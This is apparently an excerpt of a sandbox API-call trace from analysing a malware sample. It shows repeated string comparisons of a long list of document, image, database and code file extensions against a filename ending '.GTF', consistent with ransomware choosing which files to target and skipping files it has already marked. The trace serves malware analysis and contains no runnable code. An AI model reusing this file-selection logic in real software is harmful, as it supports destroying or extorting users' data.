	[0062.110] lstrlenW (lpString=".asm") returned 4
	[0062.110] lstrcmpiW (lpString1=".asm", lpString2=".GTF") returned -1
	[0062.110] lstrlenW (lpString=".asmx") returned 5
	[0062.110] lstrcmpiW (lpString1=".asmx", lpString2="].GTF") returned -1
	[0062.110] lstrlenW (lpString=".asp") returned 4
	[0062.110] lstrcmpiW (lpString1=".asp", lpString2=".GTF") returned -1
	[0062.110] lstrlenW (lpString=".aspx") returned 5
	[0062.110] lstrcmpiW (lpString1=".aspx", lpString2="].GTF") returned -1
	[0062.110] lstrlenW (lpString=".asr") returned 4
	[0062.110] lstrcmpiW (lpString1=".asr", lpString2=".GTF") returned -1
	[0062.110] lstrlenW (lpString=".asx") returned 4
	[0062.110] lstrcmpiW (lpString1=".asx", lpString2=".GTF") returned -1
	[0062.110] lstrlenW (lpString=".avi") returned 4
	[0062.110] lstrcmpiW (lpString1=".avi", lpString2=".GTF") returned -1
	[0062.110] lstrlenW (lpString=".avs") returned 4
	[0062.110] lstrcmpiW (lpString1=".avs", lpString2=".GTF") returned -1
	[0062.110] lstrlenW (lpString=".backup") returned 7
	[0062.110] lstrcmpiW (lpString1=".backup", lpString2="om].GTF") returned -1
	[0062.376] lstrlenW (lpString=".bak") returned 4
	[0062.376] lstrcmpiW (lpString1=".bak", lpString2=".GTF") returned -1
	[0062.376] lstrlenW (lpString=".bay") returned 4
	[0062.376] lstrcmpiW (lpString1=".bay", lpString2=".GTF") returned -1
	[0062.380] lstrlenW (lpString=".bd") returned 3
	[0062.380] lstrcmpiW (lpString1=".bd", lpString2="GTF") returned -1
	[0062.380] lstrlenW (lpString=".bin") returned 4
	[0062.380] lstrcmpiW (lpString1=".bin", lpString2=".GTF") returned -1
	[0062.380] lstrlenW (lpString=".bmp") returned 4
	[0062.380] lstrcmpiW (lpString1=".bmp", lpString2=".GTF") returned -1
	[0062.380] lstrlenW (lpString=".bz2") returned 4
	[0062.380] lstrcmpiW (lpString1=".bz2", lpString2=".GTF") returned -1
	[0062.380] lstrlenW (lpString=".c") returned 2
	[0062.380] lstrcmpiW (lpString1=".c", lpString2="TF") returned -1
	[0062.380] lstrlenW (lpString=".cdr") returned 4
	[0062.380] lstrcmpiW (lpString1=".cdr", lpString2=".GTF") returned -1
	[0062.380] lstrlenW (lpString=".cer") returned 4
	[0062.380] lstrcmpiW (lpString1=".cer", lpString2=".GTF") returned -1
	[0062.380] lstrlenW (lpString=".cf") returned 3
	[0062.380] lstrcmpiW (lpString1=".cf", lpString2="GTF") returned -1
	[0062.380] lstrlenW (lpString=".cfc") returned 4
	[0062.380] lstrcmpiW (lpString1=".cfc", lpString2=".GTF") returned -1
	[0062.380] lstrlenW (lpString=".cfm") returned 4
	[0062.380] lstrcmpiW (lpString1=".cfm", lpString2=".GTF") returned -1
	[0062.380] lstrlenW (lpString=".cfml") returned 5
	[0062.380] lstrcmpiW (lpString1=".cfml", lpString2="].GTF") returned -1
	[0062.380] lstrlenW (lpString=".cfu") returned 4
	[0062.380] lstrcmpiW (lpString1=".cfu", lpString2=".GTF") returned -1
	[0062.381] lstrlenW (lpString=".chm") returned 4
	[0062.381] lstrcmpiW (lpString1=".chm", lpString2=".GTF") returned -1
	[0062.381] lstrlenW (lpString=".cin") returned 4
	[0062.381] lstrcmpiW (lpString1=".cin", lpString2=".GTF") returned -1
	[0062.381] lstrlenW (lpString=".class") returned 6
	[0062.381] lstrcmpiW (lpString1=".class", lpString2="m].GTF") returned -1
	[0062.381] lstrlenW (lpString=".clx") returned 4
	[0062.381] lstrcmpiW (lpString1=".clx", lpString2=".GTF") returned -1
	[0062.381] lstrlenW (lpString=".config") returned 7
	[0062.381] lstrcmpiW (lpString1=".config", lpString2="om].GTF") returned -1
	[0062.381] lstrlenW (lpString=".cpp") returned 4
	[0062.381] lstrcmpiW (lpString1=".cpp", lpString2=".GTF") returned -1
	[0062.381] lstrlenW (lpString=".cr2") returned 4
	[0062.381] lstrcmpiW (lpString1=".cr2", lpString2=".GTF") returned -1
	[0062.381] lstrlenW (lpString=".crt") returned 4
	[0062.381] lstrcmpiW (lpString1=".crt", lpString2=".GTF") returned -1
	[0062.381] lstrlenW (lpString=".crw") returned 4
	[0062.381] lstrcmpiW (lpString1=".crw", lpString2=".GTF") returned -1
	[0062.381] lstrlenW (lpString=".cs") returned 3
	[0062.381] lstrcmpiW (lpString1=".cs", lpString2="GTF") returned -1
	[0062.381] lstrlenW (lpString=".css") returned 4
	[0062.381] lstrcmpiW (lpString1=".css", lpString2=".GTF") returned -1
	[0062.381] lstrlenW (lpString=".csv") returned 4
	[0062.381] lstrcmpiW (lpString1=".csv", lpString2=".GTF") returned -1
	[0062.381] lstrlenW (lpString=".cub") returned 4
	[0062.381] lstrcmpiW (lpString1=".cub", lpString2=".GTF") returned -1
	[0062.381] lstrlenW (lpString=".dae") returned 4
	[0062.381] lstrcmpiW (lpString1=".dae", lpString2=".GTF") returned -1
	[0062.381] lstrlenW (lpString=".dat") returned 4
	[0062.381] lstrcmpiW (lpString1=".dat", lpString2=".GTF") returned -1
	[0062.381] lstrlenW (lpString=".db") returned 3
	[0062.381] lstrcmpiW (lpString1=".db", lpString2="GTF") returned -1
	[0062.381] lstrlenW (lpString=".dbf") returned 4
	[0062.381] lstrcmpiW (lpString1=".dbf", lpString2=".GTF") returned -1
	[0062.381] lstrlenW (lpString=".dbx") returned 4
	[0062.381] lstrcmpiW (lpString1=".dbx", lpString2=".GTF") returned -1
	[0062.382] lstrlenW (lpString=".dc3") returned 4
	[0062.382] lstrcmpiW (lpString1=".dc3", lpString2=".GTF") returned -1
	[0062.382] lstrlenW (lpString=".dcm") returned 4
	[0062.382] lstrcmpiW (lpString1=".dcm", lpString2=".GTF") returned -1
	[0062.382] lstrlenW (lpString=".dcr") returned 4
	[0062.382] lstrcmpiW (lpString1=".dcr", lpString2=".GTF") returned -1
	[0062.382] lstrlenW (lpString=".der") returned 4
	[0062.382] lstrcmpiW (lpString1=".der", lpString2=".GTF") returned -1
	[0062.382] lstrlenW (lpString=".dib") returned 4
	[0062.382] lstrcmpiW (lpString1=".dib", lpString2=".GTF") returned -1
	[0062.382] lstrlenW (lpString=".dic") returned 4
	[0062.382] lstrcmpiW (lpString1=".dic", lpString2=".GTF") returned -1
	[0062.382] lstrlenW (lpString=".dif") returned 4
	[0062.382] lstrcmpiW (lpString1=".dif", lpString2=".GTF") returned -1
	[0062.382] lstrlenW (lpString=".divx") returned 5
	[0062.382] lstrcmpiW (lpString1=".divx", lpString2="].GTF") returned -1
	[0062.382] lstrlenW (lpString=".djvu") returned 5
	[0062.382] lstrcmpiW (lpString1=".djvu", lpString2="].GTF") returned -1
	[0062.382] lstrlenW (lpString=".dng") returned 4
	[0062.382] lstrcmpiW (lpString1=".dng", lpString2=".GTF") returned -1
	[0062.382] lstrlenW (lpString=".doc") returned 4
	[0062.382] lstrcmpiW (lpString1=".doc", lpString2=".GTF") returned -1
	[0062.382] lstrlenW (lpString=".docm") returned 5
	[0062.382] lstrcmpiW (lpString1=".docm", lpString2="].GTF") returned -1
	[0062.382] lstrlenW (lpString=".docx") returned 5
	[0062.382] lstrcmpiW (lpString1=".docx", lpString2="].GTF") returned -1
	[0062.382] lstrlenW (lpString=".dot") returned 4
	[0062.382] lstrcmpiW (lpString1=".dot", lpString2=".GTF") returned -1
	[0062.382] lstrlenW (lpString=".dotm") returned 5
	[0062.382] lstrcmpiW (lpString1=".dotm", lpString2="].GTF") returned -1
	[0062.382] lstrlenW (lpString=".dotx") returned 5
	[0062.382] lstrcmpiW (lpString1=".dotx", lpString2="].GTF") returned -1
	[0062.382] lstrlenW (lpString=".dpx") returned 4
	[0062.382] lstrcmpiW (lpString1=".dpx", lpString2=".GTF") returned -1
	[0062.382] lstrlenW (lpString=".dqy") returned 4
	[0062.382] lstrcmpiW (lpString1=".dqy", lpString2=".GTF") returned -1
	[0062.383] lstrlenW (lpString=".dsn") returned 4
	[0062.383] lstrcmpiW (lpString1=".dsn", lpString2=".GTF") returned -1
	[0062.383] lstrlenW (lpString=".dt") returned 3
	[0062.383] lstrcmpiW (lpString1=".dt", lpString2="GTF") returned -1
	[0062.383] lstrlenW (lpString=".dtd") returned 4
	[0062.383] lstrcmpiW (lpString1=".dtd", lpString2=".GTF") returned -1
	[0062.383] lstrlenW (lpString=".dwg") returned 4
	[0062.383] lstrcmpiW (lpString1=".dwg", lpString2=".GTF") returned -1
	[0062.383] lstrlenW (lpString=".dwt") returned 4
	[0062.383] lstrcmpiW (lpString1=".dwt", lpString2=".GTF") returned -1
	[0062.383] lstrlenW (lpString=".dx") returned 3
	[0062.383] lstrcmpiW (lpString1=".dx", lpString2="GTF") returned -1
	[0062.383] lstrlenW (lpString=".dxf") returned 4
	[0062.383] lstrcmpiW (lpString1=".dxf", lpString2=".GTF") returned -1
	[0062.383] lstrlenW (lpString=".edml") returned 5
	[0062.383] lstrcmpiW (lpString1=".edml", lpString2="].GTF") returned -1
	[0062.383] lstrlenW (lpString=".efd") returned 4
	[0062.383] lstrcmpiW (lpString1=".efd", lpString2=".GTF") returned -1
	[0062.383] lstrlenW (lpString=".elf") returned 4
	[0062.383] lstrcmpiW (lpString1=".elf", lpString2=".GTF") returned -1
	[0062.383] lstrlenW (lpString=".emf") returned 4
	[0062.383] lstrcmpiW (lpString1=".emf", lpString2=".GTF") returned -1
	[0062.383] lstrlenW (lpString=".emz") returned 4
	[0062.383] lstrcmpiW (lpString1=".emz", lpString2=".GTF") returned -1
	[0062.383] lstrlenW (lpString=".epf") returned 4
	[0062.383] lstrcmpiW (lpString1=".epf", lpString2=".GTF") returned -1
	[0062.383] lstrlenW (lpString=".eps") returned 4
	[0062.383] lstrcmpiW (lpString1=".eps", lpString2=".GTF") returned -1
	[0062.383] lstrlenW (lpString=".epsf") returned 5
	[0062.383] lstrcmpiW (lpString1=".epsf", lpString2="].GTF") returned -1
	[0062.383] lstrlenW (lpString=".epsp") returned 5
	[0062.383] lstrcmpiW (lpString1=".epsp", lpString2="].GTF") returned -1
	[0062.383] lstrlenW (lpString=".erf") returned 4
	[0062.383] lstrcmpiW (lpString1=".erf", lpString2=".GTF") returned -1
	[0062.383] lstrlenW (lpString=".exr") returned 4
	[0062.383] lstrcmpiW (lpString1=".exr", lpString2=".GTF") returned -1
	[0062.383] lstrlenW (lpString=".f4v") returned 4
	[0062.384] lstrcmpiW (lpString1=".f4v", lpString2=".GTF") returned -1
	[0062.384] lstrlenW (lpString=".fido") returned 5
	[0062.384] lstrcmpiW (lpString1=".fido", lpString2="].GTF") returned -1
	[0062.384] lstrlenW (lpString=".flm") returned 4
	[0062.384] lstrcmpiW (lpString1=".flm", lpString2=".GTF") returned -1
	[0062.384] lstrlenW (lpString=".flv") returned 4
	[0062.384] lstrcmpiW (lpString1=".flv", lpString2=".GTF") returned -1
	[0062.384] lstrlenW (lpString=".frm") returned 4
	[0062.384] lstrcmpiW (lpString1=".frm", lpString2=".GTF") returned -1
	[0062.384] lstrlenW (lpString=".fxg") returned 4
	[0062.384] lstrcmpiW (lpString1=".fxg", lpString2=".GTF") returned -1
	[0062.384] lstrlenW (lpString=".geo") returned 4
	[0062.384] lstrcmpiW (lpString1=".geo", lpString2=".GTF") returned -1
	[0062.384] lstrlenW (lpString=".gif") returned 4
	[0062.384] lstrcmpiW (lpString1=".gif", lpString2=".GTF") returned -1
	[0062.384] lstrlenW (lpString=".grs") returned 4
	[0062.384] lstrcmpiW (lpString1=".grs", lpString2=".GTF") returned -1
	[0062.384] lstrlenW (lpString=".gz") returned 3
	[0062.384] lstrcmpiW (lpString1=".gz", lpString2="GTF") returned -1
	[0062.384] lstrlenW (lpString=".h") returned 2
	[0062.384] lstrcmpiW (lpString1=".h", lpString2="TF") returned -1
	[0062.384] lstrlenW (lpString=".hdr") returned 4
	[0062.384] lstrcmpiW (lpString1=".hdr", lpString2=".GTF") returned 1
	[0062.384] lstrlenW (lpString=".hpp") returned 4
	[0062.384] lstrcmpiW (lpString1=".hpp", lpString2=".GTF") returned 1
	[0062.384] lstrlenW (lpString=".hta") returned 4
	[0062.384] lstrcmpiW (lpString1=".hta", lpString2=".GTF") returned 1
	[0062.384] lstrlenW (lpString=".htc") returned 4
	[0062.384] lstrcmpiW (lpString1=".htc", lpString2=".GTF") returned 1
	[0062.384] lstrlenW (lpString=".htm") returned 4
	[0062.384] lstrcmpiW (lpString1=".htm", lpString2=".GTF") returned 1
	[0062.384] lstrlenW (lpString=".html") returned 5
	[0062.384] lstrcmpiW (lpString1=".html", lpString2="].GTF") returned -1
	[0062.384] lstrlenW (lpString=".icb") returned 4
	[0062.384] lstrcmpiW (lpString1=".icb", lpString2=".GTF") returned 1
	[0062.384] lstrlenW (lpString=".ics") returned 4
	[0062.384] lstrcmpiW (lpString1=".ics", lpString2=".GTF") returned 1
	[0062.385] lstrlenW (lpString=".iff") returned 4
	[0062.385] lstrcmpiW (lpString1=".iff", lpString2=".GTF") returned 1
	[0062.385] lstrlenW (lpString=".inc") returned 4
	[0062.385] lstrcmpiW (lpString1=".inc", lpString2=".GTF") returned 1
	[0062.385] lstrlenW (lpString=".indd") returned 5
	[0062.385] lstrcmpiW (lpString1=".indd", lpString2="].GTF") returned -1
	[0062.385] lstrlenW (lpString=".ini") returned 4
	[0062.385] lstrcmpiW (lpString1=".ini", lpString2=".GTF") returned 1
	[0062.385] lstrlenW (lpString=".iqy") returned 4
	[0062.385] lstrcmpiW (lpString1=".iqy", lpString2=".GTF") returned 1
	[0062.385] lstrlenW (lpString=".j2c") returned 4
	[0062.385] lstrcmpiW (lpString1=".j2c", lpString2=".GTF") returned 1
	[0062.385] lstrlenW (lpString=".j2k") returned 4
	[0062.385] lstrcmpiW (lpString1=".j2k", lpString2=".GTF") returned 1
	[0062.385] lstrlenW (lpString=".java") returned 5
	[0062.385] lstrcmpiW (lpString1=".java", lpString2="].GTF") returned -1
	[0062.385] lstrlenW (lpString=".jp2") returned 4
	[0062.385] lstrcmpiW (lpString1=".jp2", lpString2=".GTF") returned 1
	[0062.385] lstrlenW (lpString=".jpc") returned 4
	[0062.385] lstrcmpiW (lpString1=".jpc", lpString2=".GTF") returned 1
	[0062.385] lstrlenW (lpString=".jpe") returned 4
	[0062.385] lstrcmpiW (lpString1=".jpe", lpString2=".GTF") returned 1
	[0062.385] lstrlenW (lpString=".jpeg") returned 5
	[0062.385] lstrcmpiW (lpString1=".jpeg", lpString2="].GTF") returned -1
	[0062.385] lstrlenW (lpString=".jpf") returned 4
	[0062.385] lstrcmpiW (lpString1=".jpf", lpString2=".GTF") returned 1
	[0062.385] lstrlenW (lpString=".jpg") returned 4
	[0062.385] lstrcmpiW (lpString1=".jpg", lpString2=".GTF") returned 1
	[0062.385] lstrlenW (lpString=".jpx") returned 4
	[0062.385] lstrcmpiW (lpString1=".jpx", lpString2=".GTF") returned 1
	[0062.385] lstrlenW (lpString=".js") returned 3
	[0062.385] lstrcmpiW (lpString1=".js", lpString2="GTF") returned -1
	[0062.385] lstrlenW (lpString=".jsf") returned 4
	[0062.385] lstrcmpiW (lpString1=".jsf", lpString2=".GTF") returned 1
	[0062.385] lstrlenW (lpString=".json") returned 5
	[0062.385] lstrcmpiW (lpString1=".json", lpString2="].GTF") returned -1
	[0062.385] lstrlenW (lpString=".jsp") returned 4
	[0062.385] lstrcmpiW (lpString1=".jsp", lpString2=".GTF") returned 1
	[0062.386] lstrlenW (lpString=".kdc") returned 4
	[0062.386] lstrcmpiW (lpString1=".kdc", lpString2=".GTF") returned 1
	[0062.386] lstrlenW (lpString=".kmz") returned 4
	[0062.386] lstrcmpiW (lpString1=".kmz", lpString2=".GTF") returned 1
	[0062.386] lstrlenW (lpString=".kwm") returned 4
	[0062.386] lstrcmpiW (lpString1=".kwm", lpString2=".GTF") returned 1
	[0062.386] lstrlenW (lpString=".lasso") returned 6
	[0062.386] lstrcmpiW (lpString1=".lasso", lpString2="m].GTF") returned -1
	[0062.386] lstrlenW (lpString=".lbi") returned 4
	[0062.386] lstrcmpiW (lpString1=".lbi", lpString2=".GTF") returned 1
	[0062.386] lstrlenW (lpString=".lgf") returned 4
	[0062.386] lstrcmpiW (lpString1=".lgf", lpString2=".GTF") returned 1
	[0062.386] lstrlenW (lpString=".lgp") returned 4
	[0062.386] lstrcmpiW (lpString1=".lgp", lpString2=".GTF") returned 1
	[0062.386] lstrlenW (lpString=".log") returned 4
	[0062.386] lstrcmpiW (lpString1=".log", lpString2=".GTF") returned 1
	[0062.386] lstrlenW (lpString=".m1v") returned 4
	[0062.386] lstrcmpiW (lpString1=".m1v", lpString2=".GTF") returned 1
	[0062.386] lstrlenW (lpString=".m4a") returned 4
	[0062.386] lstrcmpiW (lpString1=".m4a", lpString2=".GTF") returned 1
	[0062.386] lstrlenW (lpString=".m4v") returned 4
	[0062.386] lstrcmpiW (lpString1=".m4v", lpString2=".GTF") returned 1
	[0062.386] lstrlenW (lpString=".max") returned 4
	[0062.386] lstrcmpiW (lpString1=".max", lpString2=".GTF") returned 1
	[0062.386] lstrlenW (lpString=".md") returned 3
	[0062.386] lstrcmpiW (lpString1=".md", lpString2="GTF") returned -1
	[0062.386] lstrlenW (lpString=".mda") returned 4
	[0062.386] lstrcmpiW (lpString1=".mda", lpString2=".GTF") returned 1
	[0062.386] lstrlenW (lpString=".mdb") returned 4
	[0062.386] lstrcmpiW (lpString1=".mdb", lpString2=".GTF") returned 1
	[0062.386] lstrlenW (lpString=".mde") returned 4
	[0062.386] lstrcmpiW (lpString1=".mde", lpString2=".GTF") returned 1
	[0062.386] lstrlenW (lpString=".mdf") returned 4
	[0062.386] lstrcmpiW (lpString1=".mdf", lpString2=".GTF") returned 1
	[0062.386] lstrlenW (lpString=".mdw") returned 4
	[0062.386] lstrcmpiW (lpString1=".mdw", lpString2=".GTF") returned 1
	[0062.386] lstrlenW (lpString=".mef") returned 4
	[0062.386] lstrcmpiW (lpString1=".mef", lpString2=".GTF") returned 1
	[0062.387] lstrlenW (lpString=".mft") returned 4
	[0062.387] lstrcmpiW (lpString1=".mft", lpString2=".GTF") returned 1
	[0062.387] lstrlenW (lpString=".mfw") returned 4
	[0062.387] lstrcmpiW (lpString1=".mfw", lpString2=".GTF") returned 1
	[0062.387] lstrlenW (lpString=".mht") returned 4
	[0062.387] lstrcmpiW (lpString1=".mht", lpString2=".GTF") returned 1
	[0062.387] lstrlenW (lpString=".mhtml") returned 6
	[0062.387] lstrcmpiW (lpString1=".mhtml", lpString2="m].GTF") returned -1
	[0062.387] lstrlenW (lpString=".mka") returned 4
	[0062.387] lstrcmpiW (lpString1=".mka", lpString2=".GTF") returned 1
	[0062.387] lstrlenW (lpString=".mkidx") returned 6
	[0062.387] lstrcmpiW (lpString1=".mkidx", lpString2="m].GTF") returned -1
	[0062.387] lstrlenW (lpString=".mkv") returned 4
	[0062.387] lstrcmpiW (lpString1=".mkv", lpString2=".GTF") returned 1
	[0062.387] lstrlenW (lpString=".mos") returned 4
	[0062.387] lstrcmpiW (lpString1=".mos", lpString2=".GTF") returned 1
	[0062.387] lstrlenW (lpString=".mov") returned 4
	[0062.387] lstrcmpiW (lpString1=".mov", lpString2=".GTF") returned 1
	[0062.387] lstrlenW (lpString=".mp3") returned 4
	[0062.387] lstrcmpiW (lpString1=".mp3", lpString2=".GTF") returned 1
	[0062.387] lstrlenW (lpString=".mp4") returned 4
	[0062.387] lstrcmpiW (lpString1=".mp4", lpString2=".GTF") returned 1
	[0062.387] lstrlenW (lpString=".mpeg") returned 5
	[0062.387] lstrcmpiW (lpString1=".mpeg", lpString2="].GTF") returned -1
	[0062.387] lstrlenW (lpString=".mpg") returned 4
	[0062.387] lstrcmpiW (lpString1=".mpg", lpString2=".GTF") returned 1
	[0062.387] lstrlenW (lpString=".mpv") returned 4
	[0062.387] lstrcmpiW (lpString1=".mpv", lpString2=".GTF") returned 1
	[0062.387] lstrlenW (lpString=".mrw") returned 4
	[0062.387] lstrcmpiW (lpString1=".mrw", lpString2=".GTF") returned 1
	[0062.387] lstrlenW (lpString=".msg") returned 4
	[0062.387] lstrcmpiW (lpString1=".msg", lpString2=".GTF") returned 1
	[0062.387] lstrlenW (lpString=".mxl") returned 4
	[0062.387] lstrcmpiW (lpString1=".mxl", lpString2=".GTF") returned 1
	[0062.387] lstrlenW (lpString=".myd") returned 4
	[0062.387] lstrcmpiW (lpString1=".myd", lpString2=".GTF") returned 1
	[0062.387] lstrlenW (lpString=".myi") returned 4
	[0062.388] lstrcmpiW (lpString1=".myi", lpString2=".GTF") returned 1
	[0062.388] lstrlenW (lpString=".nef") returned 4
	[0062.388] lstrcmpiW (lpString1=".nef", lpString2=".GTF") returned 1
	[0062.388] lstrlenW (lpString=".nrw") returned 4
	[0062.388] lstrcmpiW (lpString1=".nrw", lpString2=".GTF") returned 1
	[0062.388] lstrlenW (lpString=".obj") returned 4
	[0062.388] lstrcmpiW (lpString1=".obj", lpString2=".GTF") returned 1
	[0062.388] lstrlenW (lpString=".odb") returned 4
	[0062.388] lstrcmpiW (lpString1=".odb", lpString2=".GTF") returned 1
	[0062.388] lstrlenW (lpString=".odc") returned 4
	[0062.388] lstrcmpiW (lpString1=".odc", lpString2=".GTF") returned 1
	[0062.388] lstrlenW (lpString=".odm") returned 4
	[0062.388] lstrcmpiW (lpString1=".odm", lpString2=".GTF") returned 1
	[0062.388] lstrlenW (lpString=".odp") returned 4
	[0062.388] lstrcmpiW (lpString1=".odp", lpString2=".GTF") returned 1
	[0062.388] lstrlenW (lpString=".ods") returned 4
	[0062.388] lstrcmpiW (lpString1=".ods", lpString2=".GTF") returned 1
	[0062.388] lstrlenW (lpString=".oft") returned 4
	[0062.388] lstrcmpiW (lpString1=".oft", lpString2=".GTF") returned 1
	[0062.388] lstrlenW (lpString=".one") returned 4
	[0062.388] lstrcmpiW (lpString1=".one", lpString2=".GTF") returned 1
	[0062.388] lstrlenW (lpString=".onepkg") returned 7
	[0062.388] lstrcmpiW (lpString1=".onepkg", lpString2="om].GTF") returned -1
	[0062.388] lstrlenW (lpString=".onetoc2") returned 8
	[0062.388] lstrcmpiW (lpString1=".onetoc2", lpString2="com].GTF") returned -1
	[0062.388] lstrlenW (lpString=".opt") returned 4
	[0062.388] lstrcmpiW (lpString1=".opt", lpString2=".GTF") returned 1
	[0062.388] lstrlenW (lpString=".oqy") returned 4
	[0062.388] lstrcmpiW (lpString1=".oqy", lpString2=".GTF") returned 1
	[0062.388] lstrlenW (lpString=".orf") returned 4
	[0062.388] lstrcmpiW (lpString1=".orf", lpString2=".GTF") returned 1
	[0062.388] lstrlenW (lpString=".p12") returned 4
	[0062.388] lstrcmpiW (lpString1=".p12", lpString2=".GTF") returned 1
	[0062.388] lstrlenW (lpString=".p7b") returned 4
	[0062.388] lstrcmpiW (lpString1=".p7b", lpString2=".GTF") returned 1
	[0062.388] lstrlenW (lpString=".p7c") returned 4
	[0062.388] lstrcmpiW (lpString1=".p7c", lpString2=".GTF") returned 1
	[0062.388] lstrlenW (lpString=".pam") returned 4
	[0062.389] lstrcmpiW (lpString1=".pam", lpString2=".GTF") returned 1
	[0062.389] lstrlenW (lpString=".pbm") returned 4
	[0062.389] lstrcmpiW (lpString1=".pbm", lpString2=".GTF") returned 1
	[0062.389] lstrlenW (lpString=".pct") returned 4
	[0062.389] lstrcmpiW (lpString1=".pct", lpString2=".GTF") returned 1
	[0062.389] lstrlenW (lpString=".pcx") returned 4
	[0062.389] lstrcmpiW (lpString1=".pcx", lpString2=".GTF") returned 1
	[0062.389] lstrlenW (lpString=".pdd") returned 4
	[0062.389] lstrcmpiW (lpString1=".pdd", lpString2=".GTF") returned 1
	[0062.389] lstrlenW (lpString=".pdf") returned 4
	[0062.389] lstrcmpiW (lpString1=".pdf", lpString2=".GTF") returned 1
	[0062.389] lstrlenW (lpString=".pdp") returned 4
	[0062.389] lstrcmpiW (lpString1=".pdp", lpString2=".GTF") returned 1
	[0062.389] lstrlenW (lpString=".pef") returned 4
	[0062.389] lstrcmpiW (lpString1=".pef", lpString2=".GTF") returned 1
	[0062.389] lstrlenW (lpString=".pem") returned 4
	[0062.389] lstrcmpiW (lpString1=".pem", lpString2=".GTF") returned 1
	[0062.389] lstrlenW (lpString=".pff") returned 4
	[0062.389] lstrcmpiW (lpString1=".pff", lpString2=".GTF") returned 1
	[0062.389] lstrlenW (lpString=".pfm") returned 4
	[0062.389] lstrcmpiW (lpString1=".pfm", lpString2=".GTF") returned 1
	[0062.389] lstrlenW (lpString=".pfx") returned 4
	[0062.389] lstrcmpiW (lpString1=".pfx", lpString2=".GTF") returned 1
	[0062.389] lstrlenW (lpString=".pgm") returned 4
	[0062.389] lstrcmpiW (lpString1=".pgm", lpString2=".GTF") returned 1
	[0062.389] lstrlenW (lpString=".php") returned 4
	[0062.389] lstrcmpiW (lpString1=".php", lpString2=".GTF") returned 1
	[0062.389] lstrlenW (lpString=".php3") returned 5
	[0062.389] lstrcmpiW (lpString1=".php3", lpString2="].GTF") returned -1
	[0062.389] lstrlenW (lpString=".php4") returned 5
	[0062.389] lstrcmpiW (lpString1=".php4", lpString2="].GTF") returned -1
	[0062.389] lstrlenW (lpString=".php5") returned 5
	[0062.389] lstrcmpiW (lpString1=".php5", lpString2="].GTF") returned -1
	[0062.389] lstrlenW (lpString=".phtml") returned 6
	[0062.389] lstrcmpiW (lpString1=".phtml", lpString2="m].GTF") returned -1
	[0062.389] lstrlenW (lpString=".pict") returned 5
	[0062.389] lstrcmpiW (lpString1=".pict", lpString2="].GTF") returned -1
	[0062.389] lstrlenW (lpString=".pl") returned 3
	[0062.390] lstrcmpiW (lpString1=".pl", lpString2="GTF") returned -1
	[0062.390] lstrlenW (lpString=".pls") returned 4
	[0062.390] lstrcmpiW (lpString1=".pls", lpString2=".GTF") returned 1
	[0062.390] lstrlenW (lpString=".pm") returned 3
	[0062.390] lstrcmpiW (lpString1=".pm", lpString2="GTF") returned -1
	[0062.390] lstrlenW (lpString=".png") returned 4
	[0062.390] lstrcmpiW (lpString1=".png", lpString2=".GTF") returned 1
	[0062.390] lstrlenW (lpString=".pnm") returned 4
	[0062.390] lstrcmpiW (lpString1=".pnm", lpString2=".GTF") returned 1
	[0062.390] lstrlenW (lpString=".pot") returned 4
	[0062.390] lstrcmpiW (lpString1=".pot", lpString2=".GTF") returned 1
	[0062.390] lstrlenW (lpString=".potm") returned 5
	[0062.390] lstrcmpiW (lpString1=".potm", lpString2="].GTF") returned -1
	[0062.390] lstrlenW (lpString=".potx") returned 5
	[0062.390] lstrcmpiW (lpString1=".potx", lpString2="].GTF") returned -1
	[0062.390] lstrlenW (lpString=".ppa") returned 4
	[0062.390] lstrcmpiW (lpString1=".ppa", lpString2=".GTF") returned 1
	[0062.390] lstrlenW (lpString=".ppam") returned 5
	[0062.390] lstrcmpiW (lpString1=".ppam", lpString2="].GTF") returned -1
	[0062.390] lstrlenW (lpString=".ppm") returned 4
	[0062.390] lstrcmpiW (lpString1=".ppm", lpString2=".GTF") returned 1
	[0062.390] lstrlenW (lpString=".pps") returned 4
	[0062.390] lstrcmpiW (lpString1=".pps", lpString2=".GTF") returned 1
	[0062.390] lstrlenW (lpString=".ppsm") returned 5
	[0062.390] lstrcmpiW (lpString1=".ppsm", lpString2="].GTF") returned -1
	[0062.390] lstrlenW (lpString=".ppt") returned 4
	[0062.390] lstrcmpiW (lpString1=".ppt", lpString2=".GTF") returned 1
	[0062.390] lstrlenW (lpString=".pptm") returned 5
	[0062.390] lstrcmpiW (lpString1=".pptm", lpString2="].GTF") returned -1
	[0062.390] lstrlenW (lpString=".pptx") returned 5
	[0062.390] lstrcmpiW (lpString1=".pptx", lpString2="].GTF") returned -1
	[0062.390] lstrlenW (lpString=".prn") returned 4
	[0062.390] lstrcmpiW (lpString1=".prn", lpString2=".GTF") returned 1
	[0062.390] lstrlenW (lpString=".ps") returned 3
	[0062.390] lstrcmpiW (lpString1=".ps", lpString2="GTF") returned -1
	[0062.390] lstrlenW (lpString=".psb") returned 4
	[0062.390] lstrcmpiW (lpString1=".psb", lpString2=".GTF") returned 1
	[0062.391] lstrlenW (lpString=".psd") returned 4
	[0062.391] lstrcmpiW (lpString1=".psd", lpString2=".GTF") returned 1
	[0062.391] lstrlenW (lpString=".pst") returned 4
	[0062.391] lstrcmpiW (lpString1=".pst", lpString2=".GTF") returned 1
	[0062.391] lstrlenW (lpString=".ptx") returned 4
	[0062.391] lstrcmpiW (lpString1=".ptx", lpString2=".GTF") returned 1
	[0062.391] lstrlenW (lpString=".pub") returned 4
	[0062.391] lstrcmpiW (lpString1=".pub", lpString2=".GTF") returned 1
	[0062.391] lstrlenW (lpString=".pwm") returned 4
	[0062.391] lstrcmpiW (lpString1=".pwm", lpString2=".GTF") returned 1
	[0062.391] lstrlenW (lpString=".pxr") returned 4
	[0062.391] lstrcmpiW (lpString1=".pxr", lpString2=".GTF") returned 1
	[0062.391] lstrlenW (lpString=".py") returned 3
	[0062.391] lstrcmpiW (lpString1=".py", lpString2="GTF") returned -1
	[0062.391] lstrlenW (lpString=".qt") returned 3
	[0062.391] lstrcmpiW (lpString1=".qt", lpString2="GTF") returned -1
